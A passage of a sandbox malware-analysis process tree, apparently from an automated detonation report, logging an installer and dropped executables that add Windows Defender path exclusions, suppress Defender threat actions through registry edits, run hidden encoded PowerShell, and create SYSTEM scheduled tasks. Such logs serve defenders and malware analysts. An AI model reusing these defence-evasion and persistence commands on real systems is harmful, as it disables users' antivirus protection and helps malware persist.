    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\PZjcxajBIsNTC" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:4172
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\mWJfrhglotUn" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:5748
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\mWJfrhglotUn" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:5140
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\VyWMmqtuSNndeGVB /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:4744
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\VyWMmqtuSNndeGVB /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:2756
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:5316
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:4164
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\pzWhdRqbDjaoGSUyA /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:5776
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\pzWhdRqbDjaoGSUyA /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:5368
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\WPGfhLqOzAIwKSwi /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:5840
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\WPGfhLqOzAIwKSwi /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:5304
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "gnhNlizHa" /SC once /ST 02:34:10 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
  2⤵
  - Creates scheduled task(s)
  PID:1772
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /run /I /tn "gnhNlizHa"
  2⤵
  PID:4240
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "gnhNlizHa"
  2⤵
  PID:5732
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "XyyyteIMwZeutaZuw" /SC once /ST 17:54:59 /RU "SYSTEM" /TR "\"C:\Windows\Temp\WPGfhLqOzAIwKSwi\CKEIBaXuklpWnmi\uqKyPHD.exe\" GH /MyUcdidew 385118 /S" /V1 /F
  2⤵
  - Creates scheduled task(s)
  PID:3504
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /run /I /tn "XyyyteIMwZeutaZuw"
  2⤵
  PID:5220

C:\Users\Admin\AppData\Local\Temp\7zS870D.tmp\Install.exe
C:\Users\Admin\AppData\Local\Temp\7zS870D.tmp\Install.exe it /rfEdidRLEF 385118 /S
1⤵
PID:6080
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
  2⤵
  PID:4516
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
    3⤵
    PID:4512
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
      4⤵
      PID:4336
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
        5⤵
        
        PID:1704
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
    3⤵
    PID:4136
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
      4⤵
      PID:5000
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
        5⤵
        
        PID:5232
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
    3⤵
    PID:4248
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
      4⤵
      PID:4128
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
        5⤵
        
        PID:2404
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
    3⤵
    PID:1704
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
      4⤵
      PID:5984
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
        5⤵
        
        PID:2396
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
    3⤵
    PID:1536
  - - C:\Windows\SysWOW64\cmd.exe
      /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
      4⤵
      PID:828
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell start-process -WindowStyle Hidden gpupdate.exe /force
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5748
      - C:\Windows\SysWOW64\gpupdate.exe
        
        "C:\Windows\system32\gpupdate.exe" /force
        6⤵
        
        PID:5236
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:64;"
  2⤵
  PID:2888
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:5400
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
      4⤵
      PID:4476
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:4480
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:2380
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:2028
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:68
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:5648
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:2196
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:6048
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:3676
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:4876
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:2816
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:5216
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:6140
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:5900
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:5636
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:5156
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:5412
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:4896
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:4120
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:3032
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:660
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:3272
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:5912
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:5700
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:5736
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:6012
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:5776
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:5296
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "XyyyteIMwZeutaZuw" /SC once /ST 06:47:38 /RU "SYSTEM" /TR "\"C:\Windows\Temp\WPGfhLqOzAIwKSwi\CKEIBaXuklpWnmi\mBKmrsD.exe\" GH /vFqZdidaM 385118 /S" /V1 /F
  2⤵
  - Creates scheduled task(s)
  PID:6004
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /run /I /tn "XyyyteIMwZeutaZuw"
  2⤵
  PID:4336

\??\c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s fhsvc
1⤵
PID:3056

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
1⤵
- Command and Scripting Interpreter: PowerShell
PID:5540
- C:\Windows\system32\gpupdate.exe
  "C:\Windows\system32\gpupdate.exe" /force
  2⤵
  PID:3152

\??\c:\windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:328

C:\Windows\windefender.exe
C:\Windows\windefender.exe
1⤵
PID:2332

C:\Windows\Temp\WPGfhLqOzAIwKSwi\CKEIBaXuklpWnmi\uqKyPHD.exe
C:\Windows\Temp\WPGfhLqOzAIwKSwi\CKEIBaXuklpWnmi\uqKyPHD.exe GH /MyUcdidew 385118 /S
1⤵
PID:4408
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
  2⤵
  PID:5892
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
    3⤵
    PID:5356
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
      4⤵
      PID:5980
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
        5⤵
        
        PID:5796
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
    3⤵
    PID:5656
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
      4⤵
      PID:4808
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
        5⤵
        
        PID:5268
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
    3⤵
    PID:6052
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
      4⤵
      PID:4080
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
        5⤵
        
        PID:4928
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
    3⤵
    PID:4352
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
      4⤵
      PID:4756
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
        5⤵
        
        PID:2784
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
    3⤵
    PID:4208
  - - C:\Windows\SysWOW64\cmd.exe
      /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
      4⤵
      PID:2424
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell start-process -WindowStyle Hidden gpupdate.exe /force
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1512
      - C:\Windows\SysWOW64\gpupdate.exe
        
        "C:\Windows\system32\gpupdate.exe" /force
        6⤵
        
        PID:5732
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "bbmnnUCIPYyTQrzMQJ"
  2⤵
  PID:5712
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True" &
  2⤵
  PID:4768
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True"
    3⤵
    PID:1052
  - - C:\Windows\SysWOW64\cmd.exe
      /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
      4⤵
      PID:1088
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2484
      - C:\Windows\SysWOW64\Wbem\WMIC.exe
        
